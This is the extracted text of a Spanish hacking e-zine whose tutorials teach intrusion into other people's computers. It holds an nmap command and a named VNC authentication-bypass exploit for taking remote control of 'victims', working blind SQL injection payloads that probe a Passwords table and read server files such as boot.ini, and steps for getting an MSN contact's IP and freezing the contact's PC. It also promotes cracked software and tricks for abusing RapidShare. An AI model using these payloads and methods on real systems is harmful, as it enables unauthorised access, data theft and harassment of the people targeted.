Está en la página 1de 69

! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !

Joejdf!
1 3 6 8 10 13 17 21 23 26 28 33 38 42 44 46 50 53 59 60 62 66 ! PORTADA & APENDICE EXPLOTANDO PUERTOS CAMBIAR IP CON HIDEIP RAPIDSHARE PREMIUM INYECCION A CIEGAS UTILIDADES MSN CREAR Y ENCRIPTAR TROYANOS CONOCIMIENTO BASICO EXPLOITS INFECTAR FICHEROS EJECUTABLES APERTURA DE CARPETAS INTRODUCCION AL ASM II MANUAL DE BATCH PROGRAMACION C II TRIANGULO DE PASCAL PROGRAMAR EN ASP TABLA DE CODIGOS CARACTERES PENDRIVE USB DE ARRANQUE EN LINUX TUTORIAL BOTONES TUTO FIRMA SETUP BIOS CMOS INSTALACION DE ASTERISK MODDING GALLERY 3

Hacking Newbie
Explotando Puertos

CUH e-zine 3 Edicion

Explotando Puertos By [p3ll3]


Y el puerto 3899 es el utilizado por windows para el RDP que cumple la misma funcin del VNC.

Explotando Puertos 5900 y 3899

Para poder realizar la intrusin necesitamos lo siguiente: Un scanner de puertos. (propio o el que recomendara es Nmap) El scanner de VNC (para windows solamente, google: BoztecVNC scanner), eso si no se quieren complicar la vida. En linux solo necesitamos el Krfb que esta pre-instalado, por lo menos en Slackware en la parte de los programas de Internet. Y sobre todo mucha paciencia.

Antes de empezar el tutorial tenemos que informarnos un poco acerca de lo que vamos a hacer... En realidad este tutorial va a tratar de explicar como podemos controlar un pc remotamente con la ayuda de los administradores de las pc victimas. xD

Como reconocemos una victima ??


Muy fcil yo creo que ya hasta ustedes lo saben; para saber si una victima es o no vulnerable simplemente aplicamos el siguiente comando, esto utilizando Nmap: nmap -P0 -p T:3899,5900 <ip.Victim.a.atacar>

Que es control remoto ???


Bueno en este caso vamos a tener acceso a todas las funciones de la pc victima como si furamos administradores.

Porque este comando y que es lo que hace??


Este comando fue escogido porque va a hacer un escaneo sencillo a esa ip y a esos puertos. -P0 => hace el escaneo a fuerza. -p => especifico puertos T: => va junto a -p y es para decirle al scanner que son puertos TCP. Este comando nos va a devolver el siguiente resultado:

Que es o que funcion cumplen los puertos que vamos a utilizar para poder tener control sobre ella ???
Los puertos mencionados arriba son los que utiliza el programa VNC para poder conectarse remotamente a la pc (en realidad solo el 5900).

Hacking Newbie
Explotando Puertos

CUH e-zine 3 Edicion


no se preocupen que eso se puede solucionar... Para poder loguearse remotamente esta el exploit: realvnc_41_bypass , con la ayuda de este exploit se van a loguear sin necesidad de passwords. -Con windows solamente utilizan el scanner para VNC que mencione anteriormente y lograran loguearse (si tiene clave utilizan el mismo exploit), este scanner trae otras utilidades bastante buenas que pueden hacer uso en caso de que no tenga esos puertos vulnerables. Ayuda de Nmap
Some Common Scan Types (* options require root privileges) * -sS TCP SYN stealth port scan (default if privileged (root)) -sT TCP connect() port scan (default for unprivileged users) * -sU UDP port scan -sP ping scan (Find any reachable machines) * -sF ,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only) -sV Version scan probes open ports determining service & app names/versions -sR RPC scan (use with other scan types) Some Common Options (none are required, most can be combined): * -O Use TCP/IP fingerprinting to guess remote operating system -p <range> ports to scan. Example range: 1-1024,1080,6666,31337 -F Only scans ports listed in nmap-services -v Verbose. Its use is recommended. Use twice for greater effect. -P0 Dont ping hosts (needed to scan www.microsoft.com and others) * -Ddecoy_host1,decoy2[,> Hide scan using many decoys -6 scans via IPv6 rather than IPv4 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy -n/-R Never do DNS resolution/Always resolve [default: sometimes resolve> -oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile> -iL <inputfile> Get targets from file; Use - for stdin * -S <your_IP>/-e <devicename> Specify source address or network interface interactive Go into interactive mode (then press h for help) Example: nmap -v -sS -O www.my.com 192.168.0.0/16 192.8890.*.*

Como vemos en la imagen nuestra victima cuenta con muchos puertos abiertos que pueden ser tomados como vulnerabilidades pero lo que nos interesa son las que ya he mencionado antes.

Bueno,bueno, ya mucha explicacin ahora como hago para entrar en el pc ???


Tienes dos opciones para entrar a la pc, la fcil y la todava mas fcil ,xD .

Como entro entonces??


En linux podemos utilizar Krfb, la forma para entrar seria entonces: Bueno por ahora eso fue todo, espero que les haya servido el tutorial y que este les haya enseado o por lo menos los haya motivado a buscar formas de como mejorar esto que acaban de leer. Saludos [p3ll3]

En este caso parece que esta protegido el VNC pero

Hacking Newbie
Cambiar IP

CUH e-zine 3 Edicion

Cambiar IP con HideIP By ChUtOReCaRgAdO


Primeramente me presentare, Hola, para los que no me conocen soy Jos pero ms conocido como ChUtOReCaRgAdO y espero que te guste este pequeo aporte que he hecho. Aprende cambiar tus IP y crear un reseteador de estas (siendo dinmicas o Esttica) En este manual Tratare de ensear a usar el Hide IP Platinum, para que lo puedan usar bien y configurarlo de tal manera que les pueda servir de algo, para los que no saben este soft te cambia tu IP o la oculta. Tambin a crear una reseteador IP dinmicas para que no tengas hacer nada ms que apretar un .bat para que tu Ip cambie (solo para IPs dinmicas), Conceptos que debemos saber: Requerimientos del Sistema: Windows 98/2000/XP/2003/Me 64 Megabyte Memoria 300 MHz CPU

Lo primero que tenemos que hacer es descargar el soft que lo puedes hacer de aqu http://rapidshare.com/files/84262778/Hide_IP_Platin um_v.3.5___Serial.exe Pass: chue-zine O lo puedes buscar en el Google escribiendo esta frase (que siempre funciona) Hide IP Platinum+ Crack y lo descargas, una vez que esta lista la descarga lo descomprimes en una carpeta (seguramente tendr dos archivos, el Programa y uno de texto que es el cdigo de activacin) una vez que ya tengas listo ejecutas el archivo .exe

IP: (Internet Protocol) es un conjunto de cuatro nmeros cada uno de ellos va desde el 0 al 255, separados por puntos, con los cuales se identifica a un ordenador conectado a una red que corre bajo este protocolo.
Nuestra IP puede ser:

IP Esttica (si siempre es la misma) El IP Platinum es especialmente para aquellos que no tienen IP Dinmica (por que cambiar la IP siendo esta es muy fcil) o simplemente si quieres ser annimo navegando por la web. IP dinmica (si cuando reiniciamos la conexin cambia). O sea si apagamos el modem o desconectamos el cable Ethernet y luego lo conectamos, nuestra IP Tericamente cambia.
1. Empezare por ensear a cambiar tu IP (especial para IP) esttica: Para esto Ocuparemos Hide IP Platinum Bueno para los que no saben el Hide IP-Platinum es para cambiar la IP. De modo que te asigna una IP diferente, esto es muy til ya que puedes navegar libremente por la red siendo annimo y lo mas bueno de este soft sirve para evadir la espera en rapishare.com ya que al cambiarte la IP la base de datos de esta Web (rapidshrare.com) no te reconoce, y te dar acceso directo a la descarga del archivo que quieres ahorrndote la largusima espera de este.

Le das en siguiente, aceptar, siguiente, siguiente, siguiente, Install, finish.

Si todo sali bien, ya estar el soft listo para ser usado, una vez que ejecutes el Soft te saldr esta ventana

Tienes que darle en esta opcin, e ingresas el cdigo que est en archivo anteriormente nombrado (el de texto que viene con el programa, ese que est en la carpeta) una vez insertado el cdigo apretas en Ok y listo, Aparecer un Icono en la barra de tareas

Hacking Newbie
Cambiar IP

CUH e-zine 3 Edicion


Pero si quieres puedes poner el que te apetezca. Pero cuidado si no sabes que poner, mejor deja todo como esta porque si est mal el proxy el software no funcionar.

Esto significa que el programa se est poniendo al da (actualizando) en este momento no debes hacer nada con l. Una vez que se ha actualiza en soft buscara en el proxy, una IP y te la dir

Si quieres bajar un archivo de http://rapishare.com y al cambiar la IP no puedes descargar el archivo tienes que presionar Ctrl+Q y buscara otra IP Y vas probando si te funciona en http://rapishare.com, hasta que encuentres una que puedas descargar al tiro pero tambin tienes que ir actualizando la pg. (F5).

Si te sale esto es que todo resulto bien, tu IP ha sido cambiada

Si sale este Icono es que el IP-platiniun no ha encontrado ningn servidor y lo mejor es cambiar el proxy, mas adelante te enseare a cambiarlo. Pero primero cmbiale el Lenguaje haciendo doble click en el icono de la barra de tareas te vas a idioma le pones espaol y dejas tal cual las funciones que trae. Ahora explicare algunas de las funciones ms importantes que trae este soft: Ahora les enseare a crear un reseteador de IP dinmicas: Cuando tenemos IP dinmica, significa que cada vez que conectamos la internet, nos entrega una IP nueva, pero para hacer esto, hay que reiniciar el Equipo o sacar el cable que conecta la Internet, o apagar el Modem, que es un jaleo enorme, Si lo que quieres es apretar un botn y que se reinicie la conexin a Internet y te cambie la IP sigue leyendo, ya que enseare a hacer un soft (es muy simple) pero que es muy til , tenemos que abrir una hoja del block de notas o cualquier editor de texto plano y escribimos lo siguiente: @echo off Ipconfig/flushdns Ipconfig/release Ipconfig/renew Ipconfig /release *Con* Exit Lo guardamos en el escritorio, y le ponemos el nombre que nosotros queramos pero con extensin .bat, listo ya est hecho el reseteador de IP dinmicas. Fcil No? Saludos, hasta la prxima.

Esta opcin sale al hacer click con el botn izquierdo del mouse sobre el Icono de la barra de tareas de dicho soft. Stop Hide IP/Hide IP: Es para detener el Hide

temporalmente, tambin lo puedes hacer con las teclas Ctrl+W. Change Proxy: sirve para cambiar el Proxy o sea la IP. Tambin se puede hacer Ctrl + Q. My IP: abre una pg. web , en esta te muestra tu IP actual .Ctrl+D
Exit: Cierra el programa. Algunas Recomendaciones: Si se demora demasiado en encontrar una IP puedes cambiar el Proxy ej. A http://rapidshare.com Y en la cadena de caracteres tienes que poner una palabra como ej. Rapidshare.

Hacking Newbie
Cuenta Premium En RapidShare

CUH e-zine 3 Edicion

Crear una cuenta Premium En RapidShare By ChUtOReCaRgAdO


COMO CREAR UNA CUENTA PREMIUM O EXTENDER UNA SI YA LA TIENES EN RAPIDSHARE.COM que nos hagamos una Premium (de un AO) o extender la que ya tenis, hay que acumular 8000 Puntos (hartos verdad) pero con todos estos puntos te dan un ao de cuenta Premium. Lo primero que debemos hacer es bajarte este soft de http://rapidshare.com/files/84259641/Easy_Rapidsha re_Points_3.exe Pass:chue-zine O tal vez cuando leas esto el link este roto o tal vez la versin vaya en otra ms que la 3.0, bueno no te aflijas, te vas al Google y pones la frase mgica que a m siempre me funciona Easy Rapidshare Points (versin que buscas)+ crack . Una vez que lo descargas lo desempaquetas si bajaste mi archivo claro, ya que lo hice un .exe para que no necesites software adicionales para descomprimirlo un ejemplo es WinRar (debera estar el soft y un archivo de texto) si ests listo para instalarlo ejecutas el .exe, si sabes Ingles Lees , pero si no, No leas, pero dice algo sobre que cierres los programas que tienes y ejecucin y bla, bla, lo mismo que dicen todos y que nunca hago caso, he igual funcionan, apretar Next (siguiente). En esta parte Tienes que llenarlo con algunos datos y donde dice serial tienes que poner uno de los tantos que hay en el archivo de texto que vienes con el paquete que descargaste (recuerdas?). Siguiente, eliges donde quieres Instalarlo, siguiente, siguiente. Listo el programa est instalado, una vez instalado no lo ocuparemos al tiro. Ahora tenemos que hacer un archivo que pese ms De 1 mega y menos de 2 Mb, lo comprimimos (recomendado), si ya tienes una cuenta Premium seguramente sabes subir archivos, entonces lo subes, pero si no tienes una Cuenta Premium debes hacerte una Free (libre), si no sabes hacerte una sigue leyendo pero si sabes sltate estas estrofas.

Perdn por que no lo haba dado a conocer directamente al foro ya que quera algo bueno en mi primer artculo en la Cuh e-Zine (pero luego lo subo al foro).

ES VERDAD!, como dice el titulo en las prximas lneas te enseare como crear una cuenta (sin gastar ningn dinero) en este servidor de gestin de descarga y como todos saben es uno de los mejores y yo dira el mejor ya que es muy rpido (es porque tiene un acelerador de descarga muy bueno) y que las mejores cosas estn alli, como los SOs No libres, software de calidad (muchos), Msica, pelculas y etc. y etc. Pero lo malo de esto es cuando No tienes una cuenta Premium ya que tienes que esperarte varias horas para volver a bajarte un archivo (si es que bajaste algo de 100 Mb, adems es lo mximo que puedes descargar con cuenta free, por que cuando uno baja Free solo puede descargar algo igual o menor a 100 Mb) pero si tienes una cuenta Premium bajas todo quieras, tener varias descargas simultneas, no esperar, sin virus, etc. Pero tambin lo puedes utilizar para compartir archivos pesados con amigos, familiares, no es para que siempre rompamos las reglas de copyrestrinjido. Aunque hay varis programas que tratan de evadir cambiando la IP (que es el mtodo ms que se usa) lo mejor es tener una Cuenta Premium. Ya basta de palabrera y vamos al grano. Para poder hacer nuestra cuenta necesitamos este software Easy Rapidshare Points 3.0. Este con este software haremos lo siguiente (yo hasta esta parte iba muy emocionado por qu me imaginaba otra cosa pero sigue y el premio es grande) Miren lo que hace el Easy Rapidshare Points 3.0 es ayudarte a hacer puntos, si bien sabes t puedes ir subiendo cosas a esta web (Rapidshare.com) y llevar un registro de cuantas veces se ha descargado (pero tienes que tener cuenta Free o Premium) y te van dando un punto por cada vez que descarguen un archivo que t has subido (pero con la cuenta Premium o free). Y para

Hacerse una cuenta Free en Rapidshare:


Abres una pg. web (con el Mozilla Firefox, Internet Explorer, Opera, tu elije el que ms te acomode) Nos vamos a: http://rapidshare.com subes el archivo que hemos creado anteriormente, para hacer esto de debes marcar donde dice examine, buscas el archivo que hemos hecho antes y aceptar, luego selecciona unload, esperas que se suba el archivo (el tiempo de espera vara segn la velocidad de conexin que tengas) . Una vez que se termine de subir te saldrn los datos; cual es el link, si quieres enviarle el link a amigos,

Hacking Newbie
Cuenta Premium En RapidShare
pero para que nos gamos una cuenta Free tienes que irte al final de la pg. y rellenar con tus datos donde dice user name (pones un nombre de usuario para registrarte ej. ChUtOReCaRgAdO, Email tienes que poner tu email verdadero y en password una contrasea y aceptas. Si esta todo correcto y te sale una pg. Como la de a continuacin, ya tienes tu cuenta Free, pero si no, es que algo quedo mal, vuelve a escribir tu nombre de usuario o contrasea. En 1 Minuto 30 Minutos 1 Hora 1 da 1 Mes

CUH e-zine 3 Edicion


1 punto 30 puntos 60 puntos 1440 puntos 43.200

Escribimos los datos que hemos puesto anteriormente, tu nombre de usuario y contrasea y apretar Enter o donde dice SSL-encrypted Login , si est bien ya estarn dentro de tu cuenta free la pg. que muestra es diferente a la antes ya que ahora sale lo mismo para subir archivos pero abajo sale una lista de los archivos que has subido con la cuenta, ahora tienes que copiar el link del archivo que subimos anteriormente, tienes que llevar el cursor donde aparece un icono de archivo de texto y luego presionas el botn izquierdo del mouse y copias el link (copiar destino), ahora tenemos que abrir el Rapidshare Points, Inicio, todos los programas, Easy Rapidshare Points 3.0, y lo abres, copias el link en la barra de direcciones y apresta Go, entraremos a Rapidshare, tienes que bajarte el archivo, te vas al final de la pg. marcas donde dice Free, luego te vas al medio de la pg. y esperas un minuto, pones Las letras que aparecen y lo descargas, pero la gracia esta que cuando valla en la mitad o un poco mas all cancelas la descarga, luego repites el proceso una y otra vez.

PD: yo hace un mes que lo estoy intentando hacerme una, pero para m es muy difcil ya que no tengo internet y tengo que ir a un ciber. Para ver los puntos que llevas tienes que ingresar a tu cuenta a Rapidshare para ver cuntas veces se ha bajado el archivo. Te metes a la Web y te vas a la seccin Free Zone, y te metes en el sub-men Collector`s zone login, metes tu nombre de usuario y contrasea y listo. Tambin aconsejo otro soft que les puede servir ya que puede hacer varias descargas simultneas, el Downlop Direct, tienes que instalarlo y aplicarle el crack, luego lo abres :

Es recomendable hacerlo entre hartas personas ya que se avanza mucho ms rpido.

Y para empezar a descargar presiones donde dice y copias el link pero este a veces lo identifica solo, y comienza a descargar, luego haces lo mismo hasta que ya no se puede poner ninguna descarga, y cuando vallan en la mitad, lo cancelas o remueves uno o todos, y as vas avanzando harto, pero el archivo tiene que estar en .Zip o .rar, y este soft consume muchos recursos, si queremos encontrar el programa que menciono nos vamos al Google y ponemos Download Direct+crack SaLuDos y hasta la prxima By ChUtOReCaRgAdO

Hacking Newbie
Inyeccion a ciegas SQL

CUH e-zine 3 Edicion

INYECCION A CIEGAS DE SQL I PARTE By Alesteir


INYECCION A CIEGAS DE SQL de inyeccin SQL. Ahora Supongamos que tenemos una aplicacin web, la cual usa los datos que recibe por parte del usuario (Cliente) para construir sentencias de consulta y de esta forma mostrar la informacin pertinente (solicitando los datos al Servidor), ahora resulta que llegado el punto, sabemos de su vulnerabilidad y procedemos a inyectar consultas pero no vemos los datos obtenidos, no obstante, podemos distinguir comportamientos distintos entre consultas que muestran datos, y las que no lo hacen, es all donde basados en valores verdadero (true) o falso (false) que son devueltos por la aplicacin, que debemos saber el tipo de inyeccin ciega pertinente, para de esta manera obtener los datos que deseamos poseer. Para saber si un parmetro es vulnerable a una inyeccin ciega de sql supongamos que tenemos una web, y la pagina 467, por decir algo un ejemplo:

BLIND SQL INJECTION


Para nadie es un secreto que unas de las mayores vulnerabilidades de la red son las famosas inyecciones SQL, pero existen variadas tcnicas y una de ellas, es la que actualmente se conoce como inyeccin a ciegas de SQL (blind sql injection), este articulo es una corta introduccin y nos ayudara a comprender lo que son y como funcionan dichas tcnicas y alguna cosilla mas, en el siguiente numero del e-zine trataremos la forma de explotar dichas vulnerabilidades. Inyeccin SQL

http://www.ejemplo.org/pagina.php?id=467
Entonces aadimos abs() de la siguiente manera:

http://www.ejemplo.org/pagina.asp?idpagina=abs(4 67)
Y si la pgina se muestra correctamente sabremos que la web es vulnerable a un ataque a ciegas de inyeccin SQL.

Una inyeccin de cdigo SQL esta basada en una interaccin de un intruso con el motor de una base de datos, en la cual el atacante puede obtener y hasta modificar los datos, e incluso el atacante puede llegar a obtener y manipular archivos, con la consecuencia de poder manejar los datos y el sistema a su antojo y con total libertad. Todo ello se debe a la mala validacin y filtrado de los datos introducidos por el usuario (Cliente), por parte de la aplicacin Web (Servidor) que maneja el gestor de la base de datos, de forma que el intruso puede alterar las sentencias SQL aceptadas por la aplicacin server. Injeccion Ciega de SQL Esta tcnica se usa cuando una web no muestra los tpicos mensajes de error de la base de datos, al no haber un resultado positivo en una consulta especifica, o sea que solo se enviar una respuesta por parte del servidor si el resultado es correcto. Es por ello que sentencias que contengan entre sus condiciones valores comparativos como 1=1 o 0=1 ofrecen respuestas, bien sea respuestas negativas o positivas, esta es la base de esta tcnica

Hacking Newbie
Inyeccion a ciegas SQL
Inyeccion a ciegas basado en tiempos de respuesta
Las primeras referencias en cuanto al tema las hizo Chrish Anley en el documento: Advanced SQL Injection en el 2002 hacia referencia de la posibilidad de realizar ataques a ciegas basado en tiempos de respuesta , en dicho documento el explicaba cdigos, mtodos y practicas para hacer consultas sin importar si obtenamos resultados palpables, e indefectiblemente saber si eran ciertas o no, todo ello dependiendo, de el tiempo en que el motor de la base de datos tardaba en dar la respectiva respuesta a la consulta. A partir de all se empez a indagar por parte de otras mentes inquietas, pronto se descubrieron parmetros vulnerables a inyeccin SQL, de forma que sin necesidad de ver los resultados de la consulta, se podan conseguir resultados a partir del tiempo de respuesta dado por el gestor (y con un poco de lgica se podan transforman en datos reales), otros mas osados crearon herramientas para explotar (exploits) dichos parmetros vulnerables a inyecciones ciegas y hasta que con el tiempo se volvi ya todo un tpico, a la hora de penetrar un sistema basado en consultas a un gestor de base de datos. La tcnica consiste en generar retardos en las inyecciones, y la mejor forma de usar esta vulnerabilidad, es conociendo las funciones especificas cada motor de base de datos, benchmark (sleep en la versin 5 y posteriores) en mysqlm, waitfor en SQL server, DBMS_Lock.Sleep() en Oracle; por nombrar solo algunas.

CUH e-zine 3 Edicion

Microsoft SQL Server : http://server/ejemplo.php?id=35; if (exists(select * from Passwords)) waitfor delay 0:0:8
En la anterior consulta el motor evala si la tabla Passwords existe y si contiene registros, al cumplirse la condicin la respuesta se retardar por un lapso de 8 segundos, es bueno recalcar que no todos los gestores permiten la tcnica de inyeccin a ciegas con retardo de tiempo

Inyeccin a ciegas basado en tiempos de respuesta usando consultas pesadas


Existe otra tcnica que se basa en usar consultas pesadas, las cuales al exigir al motor de bases de datos y de manera obvia generar un retardo de tiempo ante respuestas positivas. Supongamos que sabemos cual es el parmetro vulnerable de una consulta y queremos saber si existe una tabla X en especial, aqu optaramos por elaborar una consulta que solo haga trabajar al motor un tiempo extra con nuestra consulta pesada si dicha sentencia cumple la condicin de que la tabla X exista en la base de datos, de otra forma no lo hara y por lgica el tiempo de respuesta seria distinto, es aqu donde se deben conocer las clausulas y el tipo de condiciones que se pueden llegar a manejar, (tal como sucede con la clausula Where), para as mismo poder elaborar adecuadamente nuestro consulta , para ello se hace necesario conocer la evaluacin de las condiciones por parte de los gestores, en el caso de la clausula Where , si la clusula tiene encadenada sus condiciones por operadores de tipo OR la consulta se evaluar, mientras ninguna condicin devuelva un resultado verdadero, contrariamente cuando estn encadenadas por operadores de tipo AND las condiciones se evaluarn mientras ninguna devuelva un valor falso, basado en este mecanismo es que se optimiza el tiempo de respuesta para las condiciones, es por ello que los motores tienen un orden a la hora de hacer la evaluacin, pero es el programador quien realmente define el orden de las condiciones en una clausula Where, veamos por ejemplo la siguiente consulta:

Veamos pues la forma de inyectar cdigo a ciegas en distintos gestores:

Mysql_ http://server/ejemplo.php?id=35 and exists(select * from Passwords and benchmark(8000000,md5(rand()))=0 Mysql (versiones 5): http://server/ejemplo.asp?id=35 and exists(select * from Passwords) and sleep(8)

Select nombre from Passwords where nombre=Aleks and pass=qwerty; Oracle: http://server/ejemplo.php?id=1; begin if (exists(select * from Passwords)) then dbms_lock.sleep(8); end if; end; Select pass from Passwords where nombre=Aleks or pass=qwerty;
En el primer caso usamos una condicin AND, si al evaluar la primera condicin obtenemos un valor

Hacking Newbie
Inyeccion a ciegas SQL
FALSO el gestor no evaluar la otra, en la segunda consulta con el operador OR si la primera condicin es VERDADERO no se evala la siguiente condicin. Sucede que no siempre es el gestor el que realiza la optimizacin, es entonces donde el programador debe saber la precedencia y el mismo efectuar la optimizacin, pudiendo ser de izquierda a derecha o viceversa. Actualmente los motores modernos estiman el tiempo de cada condicin y evalan primero la condicional de menos valor en tiempo real de ejecucin, esta particularidad es la que nos permite aprovecharnos de este tipo de situacin. Imaginemos que tenemos el parmetro vulnerable id_usuario en alguna URL:

CUH e-zine 3 Edicion


base de datos vulnerable, es lgico que dependiendo todo ello de los tipos de privilegios de la cuenta con que accedamos al servidor. Tambin existen otro tipo de tcnicas que nos permiten hacernos con archivos directamente del sistema operativo del servidor, con esto ya tenemos casi que un acceso total a la web. Existen distintas funciones en cada gestor por ejemplo en Microsoft SQL Server 2005 tenemos las funciones OpenRowset y BULK que se manejan combinadas, he aqu dos ejemplos : http://www.ejemplo.org/pagina.php?id=1 and (select datalength(Z) from OpenRowset(BULK 'c:\Boot.ini', SINGLE_CLOB) as t(Z)) >1 http://www.ejemplo.org/pagina.php?id=1 and (select substring(Z,{PosByte},1) from OpenRowset(BULK 'c:\ Boot.ini', SINGLE_CLOB) as t(Z)) > 5 Es asi como podramos automatizar el proceso y obtener todo el contenido del archivo con un cdigo que llame uno a uno los caracteres del archivo que vamos a conseguir. En MySQL podemos usar la funcin LOAD_FILE, la cual acepta como parmetro la ruta de el archivo pero en hexadecimal. Ahora si queremos realizar un ataque a el archivo c:Boot.ini debemos primero que todo convertirlo a hexadecimal: 0x633A5C626F6F742E696E69 con esto podemos proceder con la inyeccin: http://www.ejemplo.org/pagina.php?id=1 and mid(Load_File(0x633A5C626F6F742E696E69),1,1)=C HAR(34) La condicin ser positiva, si la primera letra del archivo corresponde con el carcter ASCII 34., es asi que por medio de automatizacin y de fuerza bruta podramos obtener todos los datos de un archivo, alginas herramientas se basan en este mtodo Para saber si una web es vulnerable a una inyeccin ciega de sql supongamos que tenemos una web, por decir algo un ejemplo: http://www.ejemplo.org/pagina.php?id=467 Entonces aadimos abs() de la siguiente manera:

http://www.ejemplo.org/pagina.asp?id_Usuario=1
Con lo dicho anteriormente, si quisiramos saber si una tabla existe realizamos ms o menos la siguiente consulta:

http://www.ejemplo.org/pagina.asp?id_Usuario=1 [nuestra consulta pesada] and exists (select * from Passwords)


De lo anterior deducimos que si la tabla claves existe , nuestra consulta pesada se efectuara generando un retraso de tiempo considerable, lo cual nos revelar que efectivamente la tabla Passwords existe y que adems posee mas de un registro. La eleccin de nuestra consulta pesada ser la clave a la hora de saber el retardo y por ende saber si nuestra consulta ha sido efectiva. Entonces como elegimos nuestra consulta pesada? La respuesta se da conociendo las tablas internas para cada gestor de base de datos, por ejemplo en SQL Server tendramos sysobjects y en Access tendramos MSysObjects; o tablas propias de la web vulnerable, que por obvias razones nosotros seriamos quienes deduciramos aquellas tablas que contienen registros, de esta forma podemos medir los tiempos entre una consulta que cumpla las condiciones y una que no. Podemos generar consultas pesadas es unir tablas con otra s y otras hasta generar una cantidad grande de registros de forma que tan que obliguen al servidor a consumir un tiempo medible en procesarlo. Para ello basta con conocer o averiguar o adivinar una tabla del sistema de bases de datos, que tenga algn registro, y unirla consigo misma hasta generar un tiempo medible. Vamos a ver algunos ejemplos. Segn lo dicho anteriormente podemos hacer la siguiente consulta en la cual se invierte la condicin y as poder comparar los tiempos entre cada una de ellas:

http://www.ejemplo.org/pagina.asp?idpagina=abs(4 67)
Si la pgina se muestra correctamente sabremos que la web es vulnerable.

http://www.ejemplo.org/pagina.asp?id_Usuario=1 [nuestra consulta pesada] and not exists (select * from claves)
Otras tcnicas de Blind SQL Injection De esta forma ya sabemos que podemos consultar a ciegas cada uno de los elementos del motor de una

Para la prxima edicion queda la otra parte de este articulo, espero que les guste! Suertes!!! By Alesteir

Hacking Newbie
Utilidades MSN

CUH e-zine 3 Edicion

UTILIDADES MSN >By Ra19< UTILIDADES MSN


Bueno en este manual basado para newbies, los cuales entran en el mundo de el hacking generalmente por este lado, por opinin personal no me gusta que en la mayora de los casos entren para estas cosas pero bueno, les hago un manual para que se puedan divertir un poco en lo que no saben usar y siempre les interes. Empezaremos por un encabezamiento en el cual se mostrara lo que leern a continuacin: 1.- Como sacar el IP de un contacto paso a paso, con diferentes mtodos. 2.- Congelar msn. 3.- Bloquear msn. 4.- Hackeo de msn las maneras menos complicadas para newbies. (Solo se darn pginas de inters sobre los temas ms fciles de conseguir un password, pero se explicara todo lo relacionado con lanzadores de exploits) Solo bajen un poco y hay post sobre todo lo relacionado con un IP. Bueno empecemos, una de las maneras ms fciles sera esto. Abrimos el msn. Iniciamos sesin, etc. Abrimos la ventana de nuestra victima, en ese momento abrimos inicio>ejecutar>cmd se nos abre una ventana as:

Despus a travs de ing. social, (deje link abajo para que aprendan lo que es por si acaso) le enviaremos algo:

Como sacar el IP de un contacto pas a paso, con diferentes mtodos. Bueno aqu solo se mostrara como sacar una IP , no detallare que es ni para que se usa tampoco, pero dejare 2 link de inters para los que se quieran informar bien, yo no escrib ninguna de esas 2 cosas y les doy los crditos a ellos. (cualquier duda foro.elhacker.com lo mejor de lo mejor ;) ) 1 link sobre ip: http://209.85.135.104/search?q=cache:v6BJxMJ13Xw J:foro.elhacker.com/index.php/topic,112902.0.html+definicion +de+ip+site:foro.elhacker.com&hl=es&ct=clnk&cd=1&gl=mx 2 link: http://foro.elhacker.com/index.php/topic,43462.0.html#bot P (Est en francs m SO pero eso no tiene importancia) Cuando el/ella acepte en el momento de la transferencia abrimos el MS/DOS (lo dicho mas arriba) y escribimos netstat n, el cual nos dar todas las conexiones establecidas que tiene el PC. (Se recomienda tener todo cerrado menos la ventana de la persona para tener menos conexiones y poder saber cual es) Generalmente hay mas de una IP hay que ir probando. Mtodo 2 Para esto se necesitan diferentes recursos en la PC. - Windows Live MSN - El PLUS de el Windows live MSN. - IP GET

Hacking Newbie
Utilidades MSN
Windows Live MSN link: http://g.msn.com/8reen_us/ES/INSTALL_MSN_MESS ENGER_DL.EXE PLUS : http://download.msgpluslive.net/setup/MsgPlusLive422.exe IPGET : http://www.msgpluslive.net/scripts/browse/index.php ?act=view&id=108 Si los links caducan con el tiempo www.softonic.com y www.google.com los encuentran fcilmente Instalan todo, etc... Para ver el IP Get solo hay que ir a los scrips de MSN situados ac: En el punta de los cuadraditos de colores clickean y les sale eso

CUH e-zine 3 Edicion

Y listo tendremos el IP de el contacto =D Otros mtodos Bueno podra estar escribiendo mucho tiempo ya que hay muchos mtodos, dar algunos ejemplos IP CON HOTMAIL. Bueno simplemente hagan esto (est basado para Windows live Hotmail en el antiguo es mas fcil aun, si alguien quiere saber como se hace que busque en el todopoderoso Google) abajo estn los pasos a seguir. En otros tipos de correo como Yahoo, Gmail etc. no creo que sea muy diferente.
Paso 1- Cambiar a versin completa de Windows Live Hotmail. Paso 2- Abrimos la bandeja de entrada y le damos clic derecho al mail al cual queramos saber el IP de quien lo envi Paso 3- Teniendo el clic derecho apretado, hacer clic en ver cdigo fuente y listo. Bueno tambin estn los IP por lanzadores de exploits troyanos etc... Pero no viene al tema. Para este capitulo le agradezco a todos los que postearon en el foro los diferentes links, y los post de los IP tambin, tambin pongo el link de ing. social dicho mas arriba Link: http://foro.elhacker.com/index.php/topic,61858.0.html Post echo por Programar, yo aprend con ese post. Tambin se puede sacar la IP de alguien con acceso fsico al computador pero eso depende de cada uno. Sacar IP con acceso fsico con Internet es www.caulesmiip.com Sin Internet inicio>ejecutar>cmd>escribimos ipconfig Si no se puede poner Inicio>panel de control> conexiones Internet, escogen la conexin de Internet que estn usando, le dan al clic derecho entran a propiedades, van a soporte y esta el IP , si no simplemente con apretar con el clic derecho en la conexin abajo a la izquierda esta el IP.

Bueno abrimos la ventana de MSN de nuestra victima y le enviamos algo:

En el momento de el envi abrimos el IP Get y nos saldr esto:

Congelar MSN.

Hacking Newbie
Utilidades MSN
Antes de todo yo les aviso que no estoy de acuerdo con este tipo de actividades. Muchos han escuchado del famoso programa congelador de MSN o tumba MSN ahora har un manual donde explicare su uso desde 0. Empecemos por saber para que sirve, el programa lo que hace es mandar una cantidad muy grande de iconos gestuales de MSN hasta que el uso de cpu llegue al 99% al llegar a eso el PC de la victima se queda pegado /colgado (como lo quieran llamar). Bueno explicare paso a paso. Paso 1: Desactivar los iconos gestuales de el MSN (aprietan en su nick >opciones>mensajes>desactivar iconos gestuales) Importante: Es muy importante que hagas eso , si no a ti tambin se te quedara pegada la PC , tambin aviso que en el momento de tumbar el MSN de tu victima tu PC se quedara pegado por aproximadamente unos 40 segundos. Paso 2: Abre solamente la ventana de tu victima y abre el congelador de msn

